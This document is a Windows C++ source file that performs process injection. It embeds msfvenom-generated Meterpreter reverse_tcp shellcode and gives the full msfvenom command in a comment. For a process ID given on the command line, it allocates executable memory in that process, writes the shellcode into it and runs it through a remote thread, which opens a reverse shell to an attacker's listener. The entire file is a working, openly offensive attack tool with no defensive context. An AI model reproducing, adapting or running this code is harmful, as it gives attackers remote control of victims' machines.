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app4.cpp
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#include <windows.h>
#include <stdio.h>
const char* k = "[+]";
const char* i = "[+]";
const char* e = "[+]";
DWORD PID,TID = NULL;
LPVOID rBuffer = NULL;
HANDLE hProcess, hThread = INVALID_HANDLE_VALUE;
/*msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=8884 EXITFUNC=thread -f c --var-name=myPayload */
unsigned char myPayload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x48\x31\xd2\x65\x48\x8b\x52\x60\x51\x56\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x4d\x31\xc9\x48\x0f\xb7\x4a\x4a\x48"
"\x8b\x72\x50\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
"\x74\x67\x48\x01\xd0\x8b\x48\x18\x50\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x56\x48\xff\xc9\x4d\x31\xc9\x41\x8b\x34\x88"
"\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1"
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8"
"\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41"
"\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83"
"\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00"
"\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49"
"\x89\xe5\x49\xbc\x02\x00\x22\xb4\xc0\xa8\x0a\x3c\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b"
"\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31"
"\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41"
"\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58"
"\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00"
"\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00"
"\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68"
"\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba"
"\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9"
"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68"
"\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f"
"\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49"
"\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48"
"\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\xbb\xe0\x1d"
"\x2a\x0a\x41\x89\xda\xff\xd5";
int main(int argc, char* argv[]) {
if (argc < 2) {
printf("%s usage: program.exe <PID>", e);
return EXIT_FAILURE;
}
PID = atoi(argv[1]);
printf("%s tying to open a handle to process (%ld)\n", i, PID);
/* open a handle to the process */
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
printf("%s got a handle to the process!\n\\---0x%p\n", k, hProcess);
if (hProcess == NULL) {
printf("%s couldn't get a handle to the process (%ld), error: %ld\n", e, PID, GetLastError());
return EXIT_FAILURE;
}
/* allocate bytes to process memory */
rBuffer = VirtualAllocEx(hProcess, NULL,sizeof(myPayload),(MEM_COMMIT|MEM_RESERVE),PAGE_EXECUTE_READWRITE);
printf("%s allocated %zu-bytes with rwx PAGE_EXECUTE_READWRITE permissions\n", k, sizeof(myPayload));
/* actually write that allocated memory the process memory */
WriteProcessMemory(hProcess, rBuffer, myPayload, sizeof(myPayload), NULL);
printf("%s wrote %zu-bytes to process memory\n", k, sizeof(myPayload));
/* create thread to run our payload */
hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rBuffer, NULL, 0, 0, &TID);
if (hThread == NULL) {
printf("%s failed to get a handle to the thread, error: %ld", e, GetLastError());
CloseHandle(hProcess);
return EXIT_FAILURE;
}
printf("%s got a handle to the thread (%ld)\n\\---0x%p\n", k, TID, hThread);
printf("%s waiting for thread to finish\n", k);
WaitForSingleObject(hThread,INFINITE);
printf("%s thread finish executing\n",k);
printf("%s cleaning up\n", i);
CloseHandle(hThread);
CloseHandle(hProcess);
printf("%s finished! see you next time :>\n", k);
return EXIT_SUCCESS;
}